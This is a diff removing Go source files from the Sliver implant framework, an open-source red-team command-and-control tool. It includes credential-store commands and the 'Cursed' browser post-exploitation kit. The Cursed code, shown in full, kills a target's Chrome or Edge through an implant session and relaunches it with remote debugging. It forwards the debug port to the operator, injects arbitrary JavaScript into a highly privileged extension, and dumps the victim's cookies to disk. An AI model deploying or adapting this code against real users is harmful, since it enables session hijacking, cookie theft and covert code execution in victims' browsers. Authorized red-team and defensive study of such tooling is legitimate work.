if hashType == clientpb.HashType_INVALID {
con.PrintErrorf("Invalid hash type '%s'\n", ctx.Flags.String("hash-type"))
return
}
_, err := con.Rpc.CredsAdd(context.Background(), &clientpb.Credentials{
Credentials: []*clientpb.Credential{
{
Collection: collection,
Username: username,
Plaintext: plaintext,
Hash: hash,
HashType: hashType,
},
},
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintCreds(creds.Credentials, con)
}
// CredsCmd - Add new credentials
func CredsAddHashFileCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
collection := ctx.Flags.String("collection")
filePath := ctx.Args.String("file")
fileFormat := ctx.Flags.String("file-format")
if _, err := os.Stat(filePath); os.IsNotExist(err) {
con.PrintErrorf("File '%s' does not exist\n", filePath)
return
}
hashType := parseHashType(ctx.Flags.String("hash-type"))
if hashType == clientpb.HashType_INVALID {
con.PrintErrorf("Invalid hash type '%s'\n", ctx.Flags.String("hash-type"))
return
}
con.PrintInfof("Parsing file '%s' as '%s' format ...\n", filePath, fileFormat)
var creds *clientpb.Credentials
var err error
switch fileFormat {
case UserColonHashNewlineFormat:
creds, err = parseUserColonHashNewline(filePath, hashType)
case HashNewlineFormat:
creds, err = parseHashNewline(filePath, hashType)
case CSVFormat:
creds, err = parseCSV(filePath, hashType)
default:
con.PrintErrorf("Invalid file format '%s', see 'creds add file --help'\n", fileFormat)
return
}
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
for _, cred := range creds.Credentials {
cred.Collection = collection
}
con.PrintInfof("Adding %d credential(s) ...\n", len(creds.Credentials))
_, err = con.Rpc.CredsAdd(context.Background(), creds)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
creds, err = con.Rpc.Creds(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintCreds(creds.Credentials, con)
}
func parseHashType(raw string) clientpb.HashType {
hashInt, err := strconv.Atoi(raw)
if err == nil {
return clientpb.HashType(hashInt)
}
return clientpb.HashType_INVALID
}
func parseUserColonHashNewline(filePath string, hashType clientpb.HashType) (*clientpb.Credentials, error) {
file, err := os.Open(filePath)
if err != nil {
return nil, err
}
defer file.Close()
scanner := bufio.NewScanner(file)
creds := &clientpb.Credentials{}
for scanner.Scan() {
line := scanner.Text()
parts := strings.Split(line, ":")
if len(parts) != 2 {
continue
}
creds.Credentials = append(creds.Credentials, &clientpb.Credential{
Username: parts[0],
Hash: parts[1],
HashType: hashType,
})
}
return creds, nil
}
func parseHashNewline(filePath string, hashType clientpb.HashType) (*clientpb.Credentials, error) {
file, err := os.Open(filePath)
if err != nil {
return nil, err
}
defer file.Close()
scanner := bufio.NewScanner(file)
creds := &clientpb.Credentials{}
for scanner.Scan() {
line := scanner.Text()
creds.Credentials = append(creds.Credentials, &clientpb.Credential{
Hash: line,
HashType: hashType,
})
}
return creds, nil
}
func parseCSV(filePath string, hashType clientpb.HashType) (*clientpb.Credentials, error) {
file, err := os.Open(filePath)
if err != nil {
return nil, err
}
defer file.Close()
scanner := bufio.NewScanner(file)
creds := &clientpb.Credentials{}
scanner.Scan() // skip header
for scanner.Scan() {
line := scanner.Text()
parts := strings.Split(line, ",")
if len(parts) < 2 {
continue
}
creds.Credentials = append(creds.Credentials, &clientpb.Credential{
Username: parts[0],
Hash: parts[1],
HashType: hashType,
})
}
return creds, nil
}
-85
View File
@@ -1,85 +0,0 @@
package creds
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"strings"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// CredsCmd - Manage credentials
func CredsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if len(creds.Credentials) == 0 {
con.PrintInfof("No credentials 🙁\n")
return
}
PrintCreds(creds.Credentials, con)
}
func PrintCreds(creds []*clientpb.Credential, con *console.SliverConsoleClient) {
collections := make(map[string][]*clientpb.Credential)
for _, cred := range creds {
collections[cred.Collection] = append(collections[cred.Collection], cred)
}
for collection, creds := range collections {
printCollection(collection, creds, con)
con.Println()
}
}
func printCollection(collection string, creds []*clientpb.Credential, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
if collection != "" {
tw.SetTitle(console.Bold + collection + console.Normal)
} else {
tw.SetTitle(console.Bold + "Default Collection" + console.Normal)
}
tw.AppendHeader(table.Row{
"ID",
"Username",
"Plaintext",
"Hash",
"Hash Type",
"Cracked",
})
for _, cred := range creds {
tw.AppendRow(table.Row{
strings.Split(cred.ID, "-")[0],
cred.Username,
cred.Plaintext,
cred.Hash,
cred.HashType,
cred.IsCracked,
})
}
con.Printf("%s\n", tw.Render())
}
-62
View File
@@ -1,62 +0,0 @@
package creds
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
// CredsCmd - Add new credentials
func CredsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
id := ctx.Flags.String("id")
if id == "" {
credential, err := SelectCredential(false, clientpb.HashType_INVALID, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
id = credential.ID
}
_, err := con.Rpc.CredsRm(context.Background(), &clientpb.Credentials{
Credentials: []*clientpb.Credential{
{
ID: id,
},
},
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if len(creds.Credentials) == 0 {
con.PrintInfof("No credentials 🙁\n")
return
}
PrintCreds(creds.Credentials, con)
}
-72
View File
@@ -1,72 +0,0 @@
package creds
import (
"bytes"
"context"
"errors"
"fmt"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
// SelectCredential - Interactive menu for the user to select a credentials from the database
func SelectCredential(plaintext bool, hashType clientpb.HashType, con *console.SliverConsoleClient) (*clientpb.Credential, error) {
var creds *clientpb.Credentials
var err error
if hashType == clientpb.HashType_INVALID {
creds, err = con.Rpc.Creds(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
} else {
creds, err = con.Rpc.GetCredsByHashType(context.Background(), &clientpb.Credential{HashType: hashType})
if err != nil {
return nil, err
}
}
if len(creds.Credentials) == 0 {
return nil, errors.New("no credentials to select from")
}
// Render selection table
buf := bytes.NewBufferString("")
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
for _, cred := range creds.Credentials {
if cred.Plaintext == "" {
fmt.Fprintf(table, "%s\t%s\t%s\t[not cracked]\t\n", strings.Split(cred.ID, "-")[0], cred.Collection, cred.HashType)
} else {
plaintext := cred.Plaintext
if len(plaintext) > 12 {
plaintext = plaintext[:12] + "..."
}
fmt.Fprintf(table, "%s\t%s\t%s\tplaintext: %s\t\n", strings.Split(cred.ID, "-")[0], cred.Collection, cred.HashType, plaintext)
}
}
table.Flush()
options := strings.Split(buf.String(), "\n")
options = options[:len(options)-1]
if len(options) == 0 {
return nil, errors.New("no credentials to select from")
}
selected := ""
prompt := &survey.Select{
Message: "Select a credential:",
Options: options,
}
err = survey.AskOne(prompt, &selected)
if err != nil {
return nil, err
}
for index, value := range options {
if value == selected {
return creds.Credentials[index], nil
}
}
return nil, nil
}
-3
View File
@@ -1,3 +0,0 @@
# Cursed
Cursed is a Sliver Chrome/Electron post-exploitation tool kit based on/integrated with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome). Code injection is performed via the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/).
-435
View File
@@ -1,435 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"fmt"
"io/ioutil"
"log"
insecureRand "math/rand"
"strings"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/client/tcpproxy"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
var (
ErrUserDataDirNotFound = errors.New("could not find Chrome user data dir")
ErrChromeExecutableNotFound = errors.New("could not find Chrome executable")
ErrUnsupportedOS = errors.New("unsupported OS")
windowsDriveLetters = []string{"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}
cursedChromePermissions = []string{overlord.AllURLs, overlord.WebRequest, overlord.WebRequestBlocking}
cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking}
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
payloadPath := ctx.Flags.String("payload")
var payload []byte
var err error
if payloadPath != "" {
payload, err = ioutil.ReadFile(payloadPath)
if err != nil {
con.PrintErrorf("Could not read payload file: %s\n", err)
return
}
}
curse := avadaKedavraChrome(session, ctx, con)
if curse == nil {
return
}
if payloadPath == "" {
con.PrintWarnf("No Cursed Chrome payload was specified, skipping payload injection.\n")
return
}
con.PrintInfof("Searching for Chrome extension with all permissions ... ")
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// There is one alternative set of permissions that we can use if we don't find an extension
// with all the proper permissions.
if chromeExt == nil {
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if chromeExt != nil {
con.Printf("success!\n")
con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
con.PrintInfof("Injecting payload ... ")
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
// defer cancel()
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf("success!\n")
} else {
con.Printf("failure!\n")
con.PrintInfof("No viable Chrome extensions were found ☹️\n")
}
}
func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
chromeProcess, err := getChromeProcess(session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if chromeProcess != nil {
con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: chromeProcess.GetPid(),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedChromeProcess(false, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
name := "Chrome"
if isEdge {
name = "Edge"
}
con.PrintInfof("Finding %s executable path ... ", name)
chromeExePath, err := findChromeExecutablePath(isEdge, session, ctx, con)
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("success!\n")
con.PrintInfof("Finding %s user data directory ... ", name)
chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, ctx, con)
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("success!\n")
con.PrintInfof("Starting %s process ... ", name)
debugPort := getRemoteDebuggerPort(ctx)
args := []string{
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
}
if chromeUserDataDir != "" {
args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
}
if ctx.Flags.Bool("restore") {
args = append(args, "--restore-last-session")
}
if ctx.Flags.Bool("keep-alive") {
args = append(args, "--keep-alive-for-test")
}
if ctx.Flags.Bool("headless") {
args = append(args, "--headless")
}
additionalArgs := ctx.Args.StringList("args")
if len(additionalArgs) > 0 {
args = append(args, additionalArgs...)
}
// Execute the Chrome process with the extra flags
// TODO: PPID spoofing, etc.
chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(ctx),
Path: chromeExePath,
Args: args,
Output: false,
})
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("(pid: %d) success!\n", chromeExec.GetPid())
con.PrintInfof("Waiting for %s process to initialize ... ", name)
time.Sleep(2 * time.Second)
bindPort := insecureRand.Intn(10000) + 40000
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
Rpc: con.Rpc,
Session: session,
RemoteAddr: remoteAddr,
BindAddr: bindAddr,
KeepAlivePeriod: 60 * time.Second,
DialTimeout: 30 * time.Second,
}
tcpProxy.AddRoute(bindAddr, channelProxy)
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
curse := &core.CursedProcess{
SessionID: session.ID,
PID: chromeExec.GetPid(),
PortFwd: portFwd,
BindTCPPort: bindPort,
Platform: session.GetOS(),
ExePath: chromeExePath,
ChromeUserDataDir: chromeUserDataDir,
}
core.CursedProcesses.Store(bindPort, curse)
go func() {
err := tcpProxy.Run()
if err != nil {
log.Printf("Proxy error %s", err)
}
core.CursedProcesses.Delete(bindPort)
}()
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
return curse, nil
}
func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
userDataFlag := ctx.Flags.String("user-data")
if userDataFlag != "" {
return userDataFlag, nil
}
switch session.GetOS() {
case "windows":
username := session.GetUsername()
if strings.Contains(username, "\\") {
username = strings.Split(username, "\\")[1]
}
for _, driveLetter := range windowsDriveLetters {
userDataDir := fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data", driveLetter, username)
if isEdge {
userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username)
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: userDataDir,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return userDataDir, nil
}
}
return "", ErrUserDataDirNotFound
case "darwin":
userDataDir := fmt.Sprintf("/Users/%s/Library/Application Support/Google/Chrome", session.Username)
if isEdge {
userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username)
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: userDataDir,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return userDataDir, nil
}
return "", ErrUserDataDirNotFound
default:
return "", ErrUnsupportedOS
}
}
func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
exeFlag := ctx.Flags.String("exe")
if exeFlag != "" {
return exeFlag, nil
}
switch session.GetOS() {
case "windows":
chromeWindowsPaths := []string{
"[DRIVE]:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Program Files (x86)\\Google\\Application\\chrome.exe",
}
if isEdge {
chromeWindowsPaths = []string{
"[DRIVE]:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
"[DRIVE]:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe",
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe",
}
}
username := session.GetUsername()
if strings.Contains(username, "\\") {
username = strings.Split(username, "\\")[1]
}
for _, driveLetter := range windowsDriveLetters {
for _, chromePath := range chromeWindowsPaths {
chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: chromeExecutablePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return chromeExecutablePath, nil
}
}
}
return "", ErrChromeExecutableNotFound
case "darwin":
// AFAIK Chrome only installs to this path on macOS
defaultChromePath := "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
if isEdge {
defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge"
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: defaultChromePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return defaultChromePath, nil
}
return "", ErrChromeExecutableNotFound
case "linux":
chromeLinuxPaths := []string{
"/usr/bin/google-chrome",
"/usr/bin/chromium-browser",
"/usr/local/bin/google-chrome",
"/usr/local/bin/chromium-browser",
}
if isEdge {
chromeLinuxPaths = []string{
"/usr/bin/microsoft-edge",
"/usr/local/bin/microsoft-edge",
}
}
for _, chromePath := range chromeLinuxPaths {
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: chromePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return chromePath, nil
}
}
return "", ErrChromeExecutableNotFound
default:
return "", ErrUnsupportedOS
}
}
func isChromeProcess(executable string) bool {
var chromeProcessNames = []string{
"chrome", // Linux
"google-chrome", // Linux
"chromium-browser", // Linux
"chrome.exe", // Windows
"Google Chrome", // Darwin
}
for _, suffix := range chromeProcessNames {
if strings.HasSuffix(executable, suffix) {
return true
}
}
return false
}
func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isChromeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
-183
View File
@@ -1,183 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
"io"
"io/ioutil"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/desertbit/grumble"
"github.com/desertbit/readline"
)
func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
con.PrintInfof("Querying debug targets ... ")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
target := selectDebugTarget(targets, con)
if target == nil {
return
}
con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
startCursedConsole(curse, true, target, con)
}
func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
if len(targets) < 1 {
con.PrintErrorf("No debug targets\n")
return nil
}
id2target := map[string]overlord.ChromeDebugTarget{}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, target := range targets {
fmt.Fprintf(table, "%s\t%s\t%s\n", target.ID, target.Title, target.URL)
id2target[target.ID] = target
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a debug target:",
Options: options,
}
selected := ""
err := survey.AskOne(prompt, &selected)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if selected == "" {
return nil
}
selectedID := strings.Split(selected, " ")[0]
selectedTarget := id2target[selectedID]
return &selectedTarget
}
var (
helperHooks = []string{
"console.log = (...a) => {return a;}", // console.log
}
)
func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
tmpFile, _ := ioutil.TempFile("", "cursed")
reader, err := readline.NewEx(&readline.Config{
Prompt: "\033[31mcursed »\033[0m ",
HistoryFile: tmpFile.Name(),
// AutoComplete: nil,
InterruptPrompt: "^C",
EOFPrompt: "exit",
HistorySearchFold: true,
// FuncFilterInputRune: filterInput,
})
if err != nil {
con.PrintErrorf("Failed to create read line: %s\n", err)
return
}
if helpers {
// Execute helper hooks
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
for _, hook := range helperHooks {
_, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, hook)
if err != nil {
con.PrintErrorf("%s\n", err)
}
}
}
con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
for {
line, err := reader.Readline()
if err == readline.ErrInterrupt {
if len(line) == 0 {
break
} else {
continue
}
} else if err == io.EOF {
break
}
switch strings.TrimSpace(line) {
case ":help":
con.Println()
con.Println("Available commands:")
con.Println(" :file - Execute local .js file")
con.Println(" :help - Show this help")
con.Println(" :exit - Exit the console")
con.Println()
case ":file":
jsCode, err := ioutil.ReadFile(line)
if err != nil {
con.PrintErrorf("%s\n", err)
continue
}
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, string(jsCode))
if err != nil {
con.PrintErrorf("%s\n", err)
continue
}
con.Println()
if 0 < len(result) {
con.Printf("%s\n", result)
con.Println()
}
case ":exit":
fallthrough
case "exit":
return
default:
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
if err != nil {
con.PrintErrorf("%s\n", err)
}
con.Println()
if 0 < len(result) {
con.Printf("%s\n", result)
con.Println()
}
}
}
}
-69
View File
@@ -1,69 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"strings"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/overlord"
"github.com/desertbit/grumble"
)
func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
cookies, err := overlord.DumpCookies(curse, curse.DebugURL().String())
if err != nil {
con.PrintErrorf("Failed to dump cookies: %s\n", err)
return
}
con.PrintInfof("Successfully dumped %d cookies\n", len(cookies))
if len(cookies) == 0 {
return
}
saveFile := ctx.Flags.String("save")
if saveFile == "" {
saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
}
jsonCookies := []string{}
for _, cookie := range cookies {
jsonCookie, err := cookie.MarshalJSON()
if err != nil {
con.PrintErrorf("Failed to marshal cookie: %s\n", err)
continue
}
jsonCookies = append(jsonCookies, string(jsonCookie))
}
err = ioutil.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0600)
if err != nil {
con.PrintErrorf("Failed to save cookies: %s\n", err)
return
}
con.PrintInfof("Saved to %s", saveFile)
con.Println()
}
-170
View File
@@ -1,170 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"io/ioutil"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
payloadPath := ctx.Flags.String("payload")
var payload []byte
var err error
if payloadPath != "" {
payload, err = ioutil.ReadFile(payloadPath)
if err != nil {
con.PrintErrorf("Could not read payload file: %s\n", err)
return
}
}
curse := avadaKedavraEdge(session, ctx, con)
if curse == nil {
return
}
if payloadPath == "" {
con.PrintWarnf("No Cursed Edge payload was specified, skipping payload injection.\n")
return
}
con.PrintInfof("Searching for Edge extension with all permissions ... ")
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// There is one alternative set of permissions that we can use if we don't find an extension
// with all the proper permissions.
if chromeExt == nil {
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if chromeExt != nil {
con.Printf("success!\n")
con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
con.PrintInfof("Injecting payload ... ")
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
// defer cancel()
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf("success!\n")
} else {
con.Printf("failure!\n")
con.PrintInfof("No viable Edge extensions were found ☹️\n")
}
}
